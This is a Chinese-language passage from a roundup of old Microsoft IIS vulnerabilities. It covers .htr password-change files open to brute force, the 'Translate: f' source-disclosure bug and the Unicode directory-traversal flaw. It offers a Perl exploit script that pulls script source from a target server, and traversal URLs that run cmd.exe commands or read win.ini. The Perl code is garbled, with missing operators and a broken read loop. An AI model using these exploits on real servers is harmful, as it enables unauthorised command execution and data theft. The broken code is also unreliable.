IIS的常见漏洞分析大汇总
(11)、存在的一些暴力破解威胁.htr程序
IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这个目录。
(12)、Translate:f Bug
这个漏洞发布于2000年8月15号(http://www.securityfocus.com/bid/157...??题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&
sub connect {
if ($#ARGV < 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server)
die "Error: $!";
$paddr = sockaddr_in($port, $iaddr)
die "Error: $!";
$proto = getprotobyname('tcp')
die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto)
die "Error:
$!";
connect(SOCK, $paddr)
die "Error: $!";
send(SOCK, $ver, 0)
die "Can't to send packet: $!";
open(OUT, ">$server.txt");
print "Dumping $cm to $server.txt \n";
while() {
print OUT ;
}
sub howto {
print "type as follows: Trans.pl "www.目标机.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}
你可以使用下面的方法来获得源代码:Trasn.pl "www.目标机.com default.asp
(13)、IIS存在的Unicode解析错误漏洞
NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。你可以使用下面的方法利用这个漏洞:
(a) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:
"http://www.目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
(b) 利用这个漏洞查看系统文件内容也是可能的:
"http://www.目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini"
这个漏洞是针对中文操作平台,你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本,原因就是编码不同。